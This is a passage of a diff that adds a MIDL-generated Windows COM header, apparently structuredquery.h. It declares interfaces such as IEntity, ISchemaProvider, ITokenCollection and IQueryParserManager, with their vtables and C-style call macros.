+            __RPC__in IEntity * This,
+            /* [retval][out] */ __RPC__deref_out_opt IEntity **pBaseEntity);
+        
+        HRESULT ( STDMETHODCALLTYPE *Relationships )( 
+            __RPC__in IEntity * This,
+            /* [in] */ __RPC__in REFIID riid,
+            /* [iid_is][retval][out] */ __RPC__deref_out_opt void **pRelationships);
+        
+        HRESULT ( STDMETHODCALLTYPE *GetRelationship )( 
+            __RPC__in IEntity * This,
+            /* [in] */ __RPC__in LPCWSTR pszRelationName,
+            /* [retval][out] */ __RPC__deref_out_opt IRelationship **pRelationship);
+        
+        HRESULT ( STDMETHODCALLTYPE *MetaData )( 
+            __RPC__in IEntity * This,
+            /* [in] */ __RPC__in REFIID riid,
+            /* [iid_is][retval][out] */ __RPC__deref_out_opt void **pMetaData);
+        
+        HRESULT ( STDMETHODCALLTYPE *NamedEntities )( 
+            __RPC__in IEntity * This,
+            /* [in] */ __RPC__in REFIID riid,
+            /* [iid_is][retval][out] */ __RPC__deref_out_opt void **pNamedEntities);
+        
+        HRESULT ( STDMETHODCALLTYPE *GetNamedEntity )( 
+            __RPC__in IEntity * This,
+            /* [in] */ __RPC__in LPCWSTR pszValue,
+            /* [retval][out] */ __RPC__deref_out_opt INamedEntity **ppNamedEntity);
+        
+        /* [local] */ HRESULT ( STDMETHODCALLTYPE *DefaultPhrase )( 
+            IEntity * This,
+            /* [retval][annotation][out] */ 
+            _Outptr_opt_  LPWSTR *ppszPhrase);
+        
+        END_INTERFACE
+    } IEntityVtbl;
+
+    interface IEntity
+    {
+        CONST_VTBL struct IEntityVtbl *lpVtbl;
+    };
+
+    
+
+#ifdef COBJMACROS
+
+
+#define IEntity_QueryInterface(This,riid,ppvObject)	\
+    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) 
+
+#define IEntity_AddRef(This)	\
+    ( (This)->lpVtbl -> AddRef(This) ) 
+
+#define IEntity_Release(This)	\
+    ( (This)->lpVtbl -> Release(This) ) 
+
+
+#define IEntity_Name(This,ppszName)	\
+    ( (This)->lpVtbl -> Name(This,ppszName) ) 
+
+#define IEntity_Base(This,pBaseEntity)	\
+    ( (This)->lpVtbl -> Base(This,pBaseEntity) ) 
+
+#define IEntity_Relationships(This,riid,pRelationships)	\
+    ( (This)->lpVtbl -> Relationships(This,riid,pRelationships) ) 
+
+#define IEntity_GetRelationship(This,pszRelationName,pRelationship)	\
+    ( (This)->lpVtbl -> GetRelationship(This,pszRelationName,pRelationship) ) 
+
+#define IEntity_MetaData(This,riid,pMetaData)	\
+    ( (This)->lpVtbl -> MetaData(This,riid,pMetaData) ) 
+
+#define IEntity_NamedEntities(This,riid,pNamedEntities)	\
+    ( (This)->lpVtbl -> NamedEntities(This,riid,pNamedEntities) ) 
+
+#define IEntity_GetNamedEntity(This,pszValue,ppNamedEntity)	\
+    ( (This)->lpVtbl -> GetNamedEntity(This,pszValue,ppNamedEntity) ) 
+
+#define IEntity_DefaultPhrase(This,ppszPhrase)	\
+    ( (This)->lpVtbl -> DefaultPhrase(This,ppszPhrase) ) 
+
+#endif /* COBJMACROS */
+
+
+#endif 	/* C style interface */
+
+
+
+
+#endif 	/* __IEntity_INTERFACE_DEFINED__ */
+
+
+#ifndef __IRelationship_INTERFACE_DEFINED__
+#define __IRelationship_INTERFACE_DEFINED__
+
+/* interface IRelationship */
+/* [unique][object][uuid][helpstring] */ 
+
+
+EXTERN_C const IID IID_IRelationship;
+
+#if defined(__cplusplus) && !defined(CINTERFACE)
+    
+    MIDL_INTERFACE("2769280B-5108-498c-9C7F-A51239B63147")
+    IRelationship : public IUnknown
+    {
+    public:
+        virtual /* [local] */ HRESULT STDMETHODCALLTYPE Name( 
+            /* [retval][annotation][out] */ 
+            _Outptr_opt_  LPWSTR *ppszName) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE IsReal( 
+            /* [retval][out] */ __RPC__out BOOL *pIsReal) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE Destination( 
+            /* [retval][out] */ __RPC__deref_out_opt IEntity **pDestinationEntity) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE MetaData( 
+            /* [in] */ __RPC__in REFIID riid,
+            /* [iid_is][retval][out] */ __RPC__deref_out_opt void **pMetaData) = 0;
+        
+        virtual /* [local] */ HRESULT STDMETHODCALLTYPE DefaultPhrase( 
+            /* [retval][annotation][out] */ 
+            _Outptr_opt_  LPWSTR *ppszPhrase) = 0;
+        
+    };
+    
+    
+#else 	/* C style interface */
+
+    typedef struct IRelationshipVtbl
+    {
+        BEGIN_INTERFACE
+        
+        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( 
+            __RPC__in IRelationship * This,
+            /* [in] */ __RPC__in REFIID riid,
+            /* [annotation][iid_is][out] */ 
+            _COM_Outptr_  void **ppvObject);
+        
+        ULONG ( STDMETHODCALLTYPE *AddRef )( 
+            __RPC__in IRelationship * This);
+        
+        ULONG ( STDMETHODCALLTYPE *Release )( 
+            __RPC__in IRelationship * This);
+        
+        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Name )( 
+            IRelationship * This,
+            /* [retval][annotation][out] */ 
+            _Outptr_opt_  LPWSTR *ppszName);
+        
+        HRESULT ( STDMETHODCALLTYPE *IsReal )( 
+            __RPC__in IRelationship * This,
+            /* [retval][out] */ __RPC__out BOOL *pIsReal);
+        
+        HRESULT ( STDMETHODCALLTYPE *Destination )( 
+            __RPC__in IRelationship * This,
+            /* [retval][out] */ __RPC__deref_out_opt IEntity **pDestinationEntity);
+        
+        HRESULT ( STDMETHODCALLTYPE *MetaData )( 
+            __RPC__in IRelationship * This,
+            /* [in] */ __RPC__in REFIID riid,
+            /* [iid_is][retval][out] */ __RPC__deref_out_opt void **pMetaData);
+        
+        /* [local] */ HRESULT ( STDMETHODCALLTYPE *DefaultPhrase )( 
+            IRelationship * This,
+            /* [retval][annotation][out] */ 
+            _Outptr_opt_  LPWSTR *ppszPhrase);
+        
+        END_INTERFACE
+    } IRelationshipVtbl;
+
+    interface IRelationship
+    {
+        CONST_VTBL struct IRelationshipVtbl *lpVtbl;
+    };
+
+    
+
+#ifdef COBJMACROS
+
+
+#define IRelationship_QueryInterface(This,riid,ppvObject)	\
+    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) 
+
+#define IRelationship_AddRef(This)	\
+    ( (This)->lpVtbl -> AddRef(This) ) 
+
+#define IRelationship_Release(This)	\
+    ( (This)->lpVtbl -> Release(This) ) 
+
+
+#define IRelationship_Name(This,ppszName)	\
+    ( (This)->lpVtbl -> Name(This,ppszName) ) 
+
+#define IRelationship_IsReal(This,pIsReal)	\
+    ( (This)->lpVtbl -> IsReal(This,pIsReal) ) 
+
+#define IRelationship_Destination(This,pDestinationEntity)	\
+    ( (This)->lpVtbl -> Destination(This,pDestinationEntity) ) 
+
+#define IRelationship_MetaData(This,riid,pMetaData)	\
+    ( (This)->lpVtbl -> MetaData(This,riid,pMetaData) ) 
+
+#define IRelationship_DefaultPhrase(This,ppszPhrase)	\
+    ( (This)->lpVtbl -> DefaultPhrase(This,ppszPhrase) ) 
+
+#endif /* COBJMACROS */
+
+
+#endif 	/* C style interface */
+
+
+
+
+#endif 	/* __IRelationship_INTERFACE_DEFINED__ */
+
+
+#ifndef __INamedEntity_INTERFACE_DEFINED__
+#define __INamedEntity_INTERFACE_DEFINED__
+
+/* interface INamedEntity */
+/* [unique][uuid][object][helpstring] */ 
+
+
+EXTERN_C const IID IID_INamedEntity;
+
+#if defined(__cplusplus) && !defined(CINTERFACE)
+    
+    MIDL_INTERFACE("ABDBD0B1-7D54-49fb-AB5C-BFF4130004CD")
+    INamedEntity : public IUnknown
+    {
+    public:
+        virtual HRESULT STDMETHODCALLTYPE GetValue( 
+            /* [retval][out] */ __RPC__deref_out_opt LPWSTR *ppszValue) = 0;
+        
+        virtual /* [local] */ HRESULT STDMETHODCALLTYPE DefaultPhrase( 
+            /* [retval][annotation][out] */ 
+            _Outptr_opt_  LPWSTR *ppszPhrase) = 0;
+        
+    };
+    
+    
+#else 	/* C style interface */
+
+    typedef struct INamedEntityVtbl
+    {
+        BEGIN_INTERFACE
+        
+        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( 
+            __RPC__in INamedEntity * This,
+            /* [in] */ __RPC__in REFIID riid,
+            /* [annotation][iid_is][out] */ 
+            _COM_Outptr_  void **ppvObject);
+        
+        ULONG ( STDMETHODCALLTYPE *AddRef )( 
+            __RPC__in INamedEntity * This);
+        
+        ULONG ( STDMETHODCALLTYPE *Release )( 
+            __RPC__in INamedEntity * This);
+        
+        HRESULT ( STDMETHODCALLTYPE *GetValue )( 
+            __RPC__in INamedEntity * This,
+            /* [retval][out] */ __RPC__deref_out_opt LPWSTR *ppszValue);
+        
+        /* [local] */ HRESULT ( STDMETHODCALLTYPE *DefaultPhrase )( 
+            INamedEntity * This,
+            /* [retval][annotation][out] */ 
+            _Outptr_opt_  LPWSTR *ppszPhrase);
+        
+        END_INTERFACE
+    } INamedEntityVtbl;
+
+    interface INamedEntity
+    {
+        CONST_VTBL struct INamedEntityVtbl *lpVtbl;
+    };
+
+    
+
+#ifdef COBJMACROS
+
+
+#define INamedEntity_QueryInterface(This,riid,ppvObject)	\
+    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) 
+
+#define INamedEntity_AddRef(This)	\
+    ( (This)->lpVtbl -> AddRef(This) ) 
+
+#define INamedEntity_Release(This)	\
+    ( (This)->lpVtbl -> Release(This) ) 
+
+
+#define INamedEntity_GetValue(This,ppszValue)	\
+    ( (This)->lpVtbl -> GetValue(This,ppszValue) ) 
+
+#define INamedEntity_DefaultPhrase(This,ppszPhrase)	\
+    ( (This)->lpVtbl -> DefaultPhrase(This,ppszPhrase) ) 
+
+#endif /* COBJMACROS */
+
+
+#endif 	/* C style interface */
+
+
+
+
+#endif 	/* __INamedEntity_INTERFACE_DEFINED__ */
+
+
+#ifndef __ISchemaProvider_INTERFACE_DEFINED__
+#define __ISchemaProvider_INTERFACE_DEFINED__
+
+/* interface ISchemaProvider */
+/* [unique][object][uuid][helpstring] */ 
+
+
+EXTERN_C const IID IID_ISchemaProvider;
+
+#if defined(__cplusplus) && !defined(CINTERFACE)
+    
+    MIDL_INTERFACE("8CF89BCB-394C-49b2-AE28-A59DD4ED7F68")
+    ISchemaProvider : public IUnknown
+    {
+    public:
+        virtual HRESULT STDMETHODCALLTYPE Entities( 
+            /* [in] */ __RPC__in REFIID riid,
+            /* [iid_is][retval][out] */ __RPC__deref_out_opt void **pEntities) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE RootEntity( 
+            /* [retval][out] */ __RPC__deref_out_opt IEntity **pRootEntity) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE GetEntity( 
+            /* [in] */ __RPC__in LPCWSTR pszEntityName,
+            /* [retval][out] */ __RPC__deref_out_opt IEntity **pEntity) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE MetaData( 
+            /* [in] */ __RPC__in REFIID riid,
+            /* [iid_is][retval][out] */ __RPC__deref_out_opt void **pMetaData) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE Localize( 
+            /* [in] */ LCID lcid,
+            /* [in] */ __RPC__in_opt ISchemaLocalizerSupport *pSchemaLocalizerSupport) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE SaveBinary( 
+            /* [in] */ __RPC__in LPCWSTR pszSchemaBinaryPath) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE LookupAuthoredNamedEntity( 
+            /* [in] */ __RPC__in_opt IEntity *pEntity,
+            /* [in] */ __RPC__in LPCWSTR pszInputString,
+            /* [in] */ __RPC__in_opt ITokenCollection *pTokenCollection,
+            /* [in] */ ULONG cTokensBegin,
+            /* [out] */ __RPC__out ULONG *pcTokensLength,
+            /* [out] */ __RPC__deref_out_opt LPWSTR *ppszValue) = 0;
+        
+    };
+    
+    
+#else 	/* C style interface */
+
+    typedef struct ISchemaProviderVtbl
+    {
+        BEGIN_INTERFACE
+        
+        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( 
+            __RPC__in ISchemaProvider * This,
+            /* [in] */ __RPC__in REFIID riid,
+            /* [annotation][iid_is][out] */ 
+            _COM_Outptr_  void **ppvObject);
+        
+        ULONG ( STDMETHODCALLTYPE *AddRef )( 
+            __RPC__in ISchemaProvider * This);
+        
+        ULONG ( STDMETHODCALLTYPE *Release )( 
+            __RPC__in ISchemaProvider * This);
+        
+        HRESULT ( STDMETHODCALLTYPE *Entities )( 
+            __RPC__in ISchemaProvider * This,
+            /* [in] */ __RPC__in REFIID riid,
+            /* [iid_is][retval][out] */ __RPC__deref_out_opt void **pEntities);
+        
+        HRESULT ( STDMETHODCALLTYPE *RootEntity )( 
+            __RPC__in ISchemaProvider * This,
+            /* [retval][out] */ __RPC__deref_out_opt IEntity **pRootEntity);
+        
+        HRESULT ( STDMETHODCALLTYPE *GetEntity )( 
+            __RPC__in ISchemaProvider * This,
+            /* [in] */ __RPC__in LPCWSTR pszEntityName,
+            /* [retval][out] */ __RPC__deref_out_opt IEntity **pEntity);
+        
+        HRESULT ( STDMETHODCALLTYPE *MetaData )( 
+            __RPC__in ISchemaProvider * This,
+            /* [in] */ __RPC__in REFIID riid,
+            /* [iid_is][retval][out] */ __RPC__deref_out_opt void **pMetaData);
+        
+        HRESULT ( STDMETHODCALLTYPE *Localize )( 
+            __RPC__in ISchemaProvider * This,
+            /* [in] */ LCID lcid,
+            /* [in] */ __RPC__in_opt ISchemaLocalizerSupport *pSchemaLocalizerSupport);
+        
+        HRESULT ( STDMETHODCALLTYPE *SaveBinary )( 
+            __RPC__in ISchemaProvider * This,
+            /* [in] */ __RPC__in LPCWSTR pszSchemaBinaryPath);
+        
+        HRESULT ( STDMETHODCALLTYPE *LookupAuthoredNamedEntity )( 
+            __RPC__in ISchemaProvider * This,
+            /* [in] */ __RPC__in_opt IEntity *pEntity,
+            /* [in] */ __RPC__in LPCWSTR pszInputString,
+            /* [in] */ __RPC__in_opt ITokenCollection *pTokenCollection,
+            /* [in] */ ULONG cTokensBegin,
+            /* [out] */ __RPC__out ULONG *pcTokensLength,
+            /* [out] */ __RPC__deref_out_opt LPWSTR *ppszValue);
+        
+        END_INTERFACE
+    } ISchemaProviderVtbl;
+
+    interface ISchemaProvider
+    {
+        CONST_VTBL struct ISchemaProviderVtbl *lpVtbl;
+    };
+
+    
+
+#ifdef COBJMACROS
+
+
+#define ISchemaProvider_QueryInterface(This,riid,ppvObject)	\
+    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) 
+
+#define ISchemaProvider_AddRef(This)	\
+    ( (This)->lpVtbl -> AddRef(This) ) 
+
+#define ISchemaProvider_Release(This)	\
+    ( (This)->lpVtbl -> Release(This) ) 
+
+
+#define ISchemaProvider_Entities(This,riid,pEntities)	\
+    ( (This)->lpVtbl -> Entities(This,riid,pEntities) ) 
+
+#define ISchemaProvider_RootEntity(This,pRootEntity)	\
+    ( (This)->lpVtbl -> RootEntity(This,pRootEntity) ) 
+
+#define ISchemaProvider_GetEntity(This,pszEntityName,pEntity)	\
+    ( (This)->lpVtbl -> GetEntity(This,pszEntityName,pEntity) ) 
+
+#define ISchemaProvider_MetaData(This,riid,pMetaData)	\
+    ( (This)->lpVtbl -> MetaData(This,riid,pMetaData) ) 
+
+#define ISchemaProvider_Localize(This,lcid,pSchemaLocalizerSupport)	\
+    ( (This)->lpVtbl -> Localize(This,lcid,pSchemaLocalizerSupport) ) 
+
+#define ISchemaProvider_SaveBinary(This,pszSchemaBinaryPath)	\
+    ( (This)->lpVtbl -> SaveBinary(This,pszSchemaBinaryPath) ) 
+
+#define ISchemaProvider_LookupAuthoredNamedEntity(This,pEntity,pszInputString,pTokenCollection,cTokensBegin,pcTokensLength,ppszValue)	\
+    ( (This)->lpVtbl -> LookupAuthoredNamedEntity(This,pEntity,pszInputString,pTokenCollection,cTokensBegin,pcTokensLength,ppszValue) ) 
+
+#endif /* COBJMACROS */
+
+
+#endif 	/* C style interface */
+
+
+
+
+#endif 	/* __ISchemaProvider_INTERFACE_DEFINED__ */
+
+
+#ifndef __ITokenCollection_INTERFACE_DEFINED__
+#define __ITokenCollection_INTERFACE_DEFINED__
+
+/* interface ITokenCollection */
+/* [unique][object][uuid][helpstring] */ 
+
+
+EXTERN_C const IID IID_ITokenCollection;
+
+#if defined(__cplusplus) && !defined(CINTERFACE)
+    
+    MIDL_INTERFACE("22D8B4F2-F577-4adb-A335-C2AE88416FAB")
+    ITokenCollection : public IUnknown
+    {
+    public:
+        virtual HRESULT STDMETHODCALLTYPE NumberOfTokens( 
+            __RPC__in ULONG *pCount) = 0;
+        
+        virtual /* [local] */ HRESULT STDMETHODCALLTYPE GetToken( 
+            /* [in] */ ULONG i,
+            /* [annotation][out] */ 
+            _Out_opt_  ULONG *pBegin,
+            /* [annotation][out] */ 
+            _Out_opt_  ULONG *pLength,
+            /* [annotation][out] */ 
+            _Outptr_opt_  LPWSTR *ppsz) = 0;
+        
+    };
+    
+    
+#else 	/* C style interface */
+
+    typedef struct ITokenCollectionVtbl
+    {
+        BEGIN_INTERFACE
+        
+        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( 
+            __RPC__in ITokenCollection * This,
+            /* [in] */ __RPC__in REFIID riid,
+            /* [annotation][iid_is][out] */ 
+            _COM_Outptr_  void **ppvObject);
+        
+        ULONG ( STDMETHODCALLTYPE *AddRef )( 
+            __RPC__in ITokenCollection * This);
+        
+        ULONG ( STDMETHODCALLTYPE *Release )( 
+            __RPC__in ITokenCollection * This);
+        
+        HRESULT ( STDMETHODCALLTYPE *NumberOfTokens )( 
+            __RPC__in ITokenCollection * This,
+            __RPC__in ULONG *pCount);
+        
+        /* [local] */ HRESULT ( STDMETHODCALLTYPE *GetToken )( 
+            ITokenCollection * This,
+            /* [in] */ ULONG i,
+            /* [annotation][out] */ 
+            _Out_opt_  ULONG *pBegin,
+            /* [annotation][out] */ 
+            _Out_opt_  ULONG *pLength,
+            /* [annotation][out] */ 
+            _Outptr_opt_  LPWSTR *ppsz);
+        
+        END_INTERFACE
+    } ITokenCollectionVtbl;
+
+    interface ITokenCollection
+    {
+        CONST_VTBL struct ITokenCollectionVtbl *lpVtbl;
+    };
+
+    
+
+#ifdef COBJMACROS
+
+
+#define ITokenCollection_QueryInterface(This,riid,ppvObject)	\
+    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) 
+
+#define ITokenCollection_AddRef(This)	\
+    ( (This)->lpVtbl -> AddRef(This) ) 
+
+#define ITokenCollection_Release(This)	\
+    ( (This)->lpVtbl -> Release(This) ) 
+
+
+#define ITokenCollection_NumberOfTokens(This,pCount)	\
+    ( (This)->lpVtbl -> NumberOfTokens(This,pCount) ) 
+
+#define ITokenCollection_GetToken(This,i,pBegin,pLength,ppsz)	\
+    ( (This)->lpVtbl -> GetToken(This,i,pBegin,pLength,ppsz) ) 
+
+#endif /* COBJMACROS */
+
+
+#endif 	/* C style interface */
+
+
+
+
+#endif 	/* __ITokenCollection_INTERFACE_DEFINED__ */
+
+
+/* interface __MIDL_itf_structuredquery_0000_0012 */
+/* [local] */ 
+
+typedef /* [public][public][v1_enum] */ 
+enum __MIDL___MIDL_itf_structuredquery_0000_0012_0001
+    {
+        NEC_LOW	= 0,
+        NEC_MEDIUM	= ( NEC_LOW + 1 ) ,
+        NEC_HIGH	= ( NEC_MEDIUM + 1 ) 
+    } 	NAMED_ENTITY_CERTAINTY;
+
+
+
+extern RPC_IF_HANDLE __MIDL_itf_structuredquery_0000_0012_v0_0_c_ifspec;
+extern RPC_IF_HANDLE __MIDL_itf_structuredquery_0000_0012_v0_0_s_ifspec;
+
+#ifndef __INamedEntityCollector_INTERFACE_DEFINED__
+#define __INamedEntityCollector_INTERFACE_DEFINED__
+
+/* interface INamedEntityCollector */
+/* [unique][object][uuid][helpstring] */ 
+
+
+EXTERN_C const IID IID_INamedEntityCollector;
+
+#if defined(__cplusplus) && !defined(CINTERFACE)
+    
+    MIDL_INTERFACE("AF2440F6-8AFC-47d0-9A7F-396A0ACFB43D")
+    INamedEntityCollector : public IUnknown
+    {
+    public:
+        virtual HRESULT STDMETHODCALLTYPE Add( 
+            /* [in] */ ULONG beginSpan,
+            /* [in] */ ULONG endSpan,
+            /* [in] */ ULONG beginActual,
+            /* [in] */ ULONG endActual,
+            /* [in] */ __RPC__in_opt IEntity *pType,
+            /* [in] */ __RPC__in LPCWSTR pszValue,
+            /* [in] */ NAMED_ENTITY_CERTAINTY certainty) = 0;
+        
+    };
+    
+    
+#else 	/* C style interface */
+
+    typedef struct INamedEntityCollectorVtbl
+    {
+        BEGIN_INTERFACE
+        
+        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( 
+            __RPC__in INamedEntityCollector * This,
+            /* [in] */ __RPC__in REFIID riid,
+            /* [annotation][iid_is][out] */ 
+            _COM_Outptr_  void **ppvObject);
+        
+        ULONG ( STDMETHODCALLTYPE *AddRef )( 
+            __RPC__in INamedEntityCollector * This);
+        
+        ULONG ( STDMETHODCALLTYPE *Release )( 
+            __RPC__in INamedEntityCollector * This);
+        
+        HRESULT ( STDMETHODCALLTYPE *Add )( 
+            __RPC__in INamedEntityCollector * This,
+            /* [in] */ ULONG beginSpan,
+            /* [in] */ ULONG endSpan,
+            /* [in] */ ULONG beginActual,
+            /* [in] */ ULONG endActual,
+            /* [in] */ __RPC__in_opt IEntity *pType,
+            /* [in] */ __RPC__in LPCWSTR pszValue,
+            /* [in] */ NAMED_ENTITY_CERTAINTY certainty);
+        
+        END_INTERFACE
+    } INamedEntityCollectorVtbl;
+
+    interface INamedEntityCollector
+    {
+        CONST_VTBL struct INamedEntityCollectorVtbl *lpVtbl;
+    };
+
+    
+
+#ifdef COBJMACROS
+
+
+#define INamedEntityCollector_QueryInterface(This,riid,ppvObject)	\
+    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) 
+
+#define INamedEntityCollector_AddRef(This)	\
+    ( (This)->lpVtbl -> AddRef(This) ) 
+
+#define INamedEntityCollector_Release(This)	\
+    ( (This)->lpVtbl -> Release(This) ) 
+
+
+#define INamedEntityCollector_Add(This,beginSpan,endSpan,beginActual,endActual,pType,pszValue,certainty)	\
+    ( (This)->lpVtbl -> Add(This,beginSpan,endSpan,beginActual,endActual,pType,pszValue,certainty) ) 
+
+#endif /* COBJMACROS */
+
+
+#endif 	/* C style interface */
+
+
+
+
+#endif 	/* __INamedEntityCollector_INTERFACE_DEFINED__ */
+
+
+#ifndef __ISchemaLocalizerSupport_INTERFACE_DEFINED__
+#define __ISchemaLocalizerSupport_INTERFACE_DEFINED__
+
+/* interface ISchemaLocalizerSupport */
+/* [unique][object][uuid] */ 
+
+
+EXTERN_C const IID IID_ISchemaLocalizerSupport;
+
+#if defined(__cplusplus) && !defined(CINTERFACE)
+    
+    MIDL_INTERFACE("CA3FDCA2-BFBE-4eed-90D7-0CAEF0A1BDA1")
+    ISchemaLocalizerSupport : public IUnknown
+    {
+    public:
+        virtual HRESULT STDMETHODCALLTYPE Localize( 
+            /* [in] */ __RPC__in LPCWSTR pszGlobalString,
+            /* [retval][out] */ __RPC__deref_out_opt LPWSTR *ppszLocalString) = 0;
+        
+    };
+    
+    
+#else 	/* C style interface */
+
+    typedef struct ISchemaLocalizerSupportVtbl
+    {
+        BEGIN_INTERFACE
+        
+        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( 
+            __RPC__in ISchemaLocalizerSupport * This,
+            /* [in] */ __RPC__in REFIID riid,
+            /* [annotation][iid_is][out] */ 
+            _COM_Outptr_  void **ppvObject);
+        
+        ULONG ( STDMETHODCALLTYPE *AddRef )( 
+            __RPC__in ISchemaLocalizerSupport * This);
+        
+        ULONG ( STDMETHODCALLTYPE *Release )( 
+            __RPC__in ISchemaLocalizerSupport * This);
+        
+        HRESULT ( STDMETHODCALLTYPE *Localize )( 
+            __RPC__in ISchemaLocalizerSupport * This,
+            /* [in] */ __RPC__in LPCWSTR pszGlobalString,
+            /* [retval][out] */ __RPC__deref_out_opt LPWSTR *ppszLocalString);
+        
+        END_INTERFACE
+    } ISchemaLocalizerSupportVtbl;
+
+    interface ISchemaLocalizerSupport
+    {
+        CONST_VTBL struct ISchemaLocalizerSupportVtbl *lpVtbl;
+    };
+
+    
+
+#ifdef COBJMACROS
+
+
+#define ISchemaLocalizerSupport_QueryInterface(This,riid,ppvObject)	\
+    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) 
+
+#define ISchemaLocalizerSupport_AddRef(This)	\
+    ( (This)->lpVtbl -> AddRef(This) ) 
+
+#define ISchemaLocalizerSupport_Release(This)	\
+    ( (This)->lpVtbl -> Release(This) ) 
+
+
+#define ISchemaLocalizerSupport_Localize(This,pszGlobalString,ppszLocalString)	\
+    ( (This)->lpVtbl -> Localize(This,pszGlobalString,ppszLocalString) ) 
+
+#endif /* COBJMACROS */
+
+
+#endif 	/* C style interface */
+
+
+
+
+#endif 	/* __ISchemaLocalizerSupport_INTERFACE_DEFINED__ */
+
+
+#ifndef __IQueryParserManager_INTERFACE_DEFINED__
+#define __IQueryParserManager_INTERFACE_DEFINED__
+
+/* interface IQueryParserManager */
+/* [unique][object][uuid] */ 
+
+
+EXTERN_C const IID IID_IQueryParserManager;
+
+#if defined(__cplusplus) && !defined(CINTERFACE)
+    
+    MIDL_INTERFACE("A879E3C4-AF77-44fb-8F37-EBD1487CF920")
+    IQueryParserManager : public IUnknown
+    {
+    public:
+        virtual HRESULT STDMETHODCALLTYPE CreateLoadedParser( 
+            /* [in] */ __RPC__in LPCWSTR pszCatalog,
+            /* [in] */ LANGID langidForKeywords,
+            /* [in] */ __RPC__in REFIID riid,
+            /* [iid_is][retval][out] */ __RPC__deref_out_opt void **ppQueryParser) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE InitializeOptions( 
+            /* [in] */ BOOL fUnderstandNQS,
+            /* [in] */ BOOL fAutoWildCard,
+            /* [in] */ __RPC__in_opt IQueryParser *pQueryParser) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE SetOption( 
+            /* [in] */ QUERY_PARSER_MANAGER_OPTION option,
+            /* [in] */ __RPC__in const PROPVARIANT *pOptionValue) = 0;
+        
+    };
+    
+    
+#else 	/* C style interface */
+
+    typedef struct IQueryParserManagerVtbl
+    {
+        BEGIN_INTERFACE
+        
+        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( 
+            __RPC__in IQueryParserManager * This,
+            /* [in] */ __RPC__in REFIID riid,
+            /* [annotation][iid_is][out] */ 
+            _COM_Outptr_  void **ppvObject);
+        
+        ULONG ( STDMETHODCALLTYPE *AddRef )( 
+            __RPC__in IQueryParserManager * This);
+        
+        ULONG ( STDMETHODCALLTYPE *Release )( 
+            __RPC__in IQueryParserManager * This);
+        
+        HRESULT ( STDMETHODCALLTYPE *CreateLoadedParser )( 
+            __RPC__in IQueryParserManager * This,
+            /* [in] */ __RPC__in LPCWSTR pszCatalog,
+            /* [in] */ LANGID langidForKeywords,
+            /* [in] */ __RPC__in REFIID riid,
+            /* [iid_is][retval][out] */ __RPC__deref_out_opt void **ppQueryParser);
+        
+        HRESULT ( STDMETHODCALLTYPE *InitializeOptions )( 
+            __RPC__in IQueryParserManager * This,
+            /* [in] */ BOOL fUnderstandNQS,
+            /* [in] */ BOOL fAutoWildCard,
+            /* [in] */ __RPC__in_opt IQueryParser *pQueryParser);
+        
+        HRESULT ( STDMETHODCALLTYPE *SetOption )( 
+            __RPC__in IQueryParserManager * This,
+            /* [in] */ QUERY_PARSER_MANAGER_OPTION option,
+            /* [in] */ __RPC__in const PROPVARIANT *pOptionValue);
+        
+        END_INTERFACE
+    } IQueryParserManagerVtbl;
+
+    interface IQueryParserManager
+    {
+        CONST_VTBL struct IQueryParserManagerVtbl *lpVtbl;
+    };
+
+    
+
+#ifdef COBJMACROS
+
+
+#define IQueryParserManager_QueryInterface(This,riid,ppvObject)	\
+    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) 
+
+#define IQueryParserManager_AddRef(This)	\
+    ( (This)->lpVtbl -> AddRef(This) ) 
+
+#define IQueryParserManager_Release(This)	\
+    ( (This)->lpVtbl -> Release(This) ) 
+
+
+#define IQueryParserManager_CreateLoadedParser(This,pszCatalog,langidForKeywords,riid,ppQueryParser)	\
+    ( (This)->lpVtbl -> CreateLoadedParser(This,pszCatalog,langidForKeywords,riid,ppQueryParser) ) 
+
+#define IQueryParserManager_InitializeOptions(This,fUnderstandNQS,fAutoWildCard,pQueryParser)	\
+    ( (This)->lpVtbl -> InitializeOptions(This,fUnderstandNQS,fAutoWildCard,pQueryParser) ) 
+
+#define IQueryParserManager_SetOption(This,option,pOptionValue)	\
+    ( (This)->lpVtbl -> SetOption(This,option,pOptionValue) ) 
+
+#endif /* COBJMACROS */
+
+
+#endif 	/* C style interface */
+
+
+
+
+#endif 	/* __IQueryParserManager_INTERFACE_DEFINED__ */
+
+
+/* interface __MIDL_itf_structuredquery_0000_0015 */
+/* [local] */ 
+
+typedef struct tagHITRANGE
+    {
+    ULONG iPosition;
+    ULONG cLength;
+    } 	HITRANGE;
+
+
+
+extern RPC_IF_HANDLE __MIDL_itf_structuredquery_0000_0015_v0_0_c_ifspec;
+extern RPC_IF_HANDLE __MIDL_itf_structuredquery_0000_0015_v0_0_s_ifspec;
+
+
+#ifndef __StructuredQuery1_LIBRARY_DEFINED__
+#define __StructuredQuery1_LIBRARY_DEFINED__
+
+/* library StructuredQuery1 */
+/* [version][uuid] */ 
+
+
+EXTERN_C const IID LIBID_StructuredQuery1;
+
+EXTERN_C const CLSID CLSID_QueryParser;
+
+#ifdef __cplusplus
+
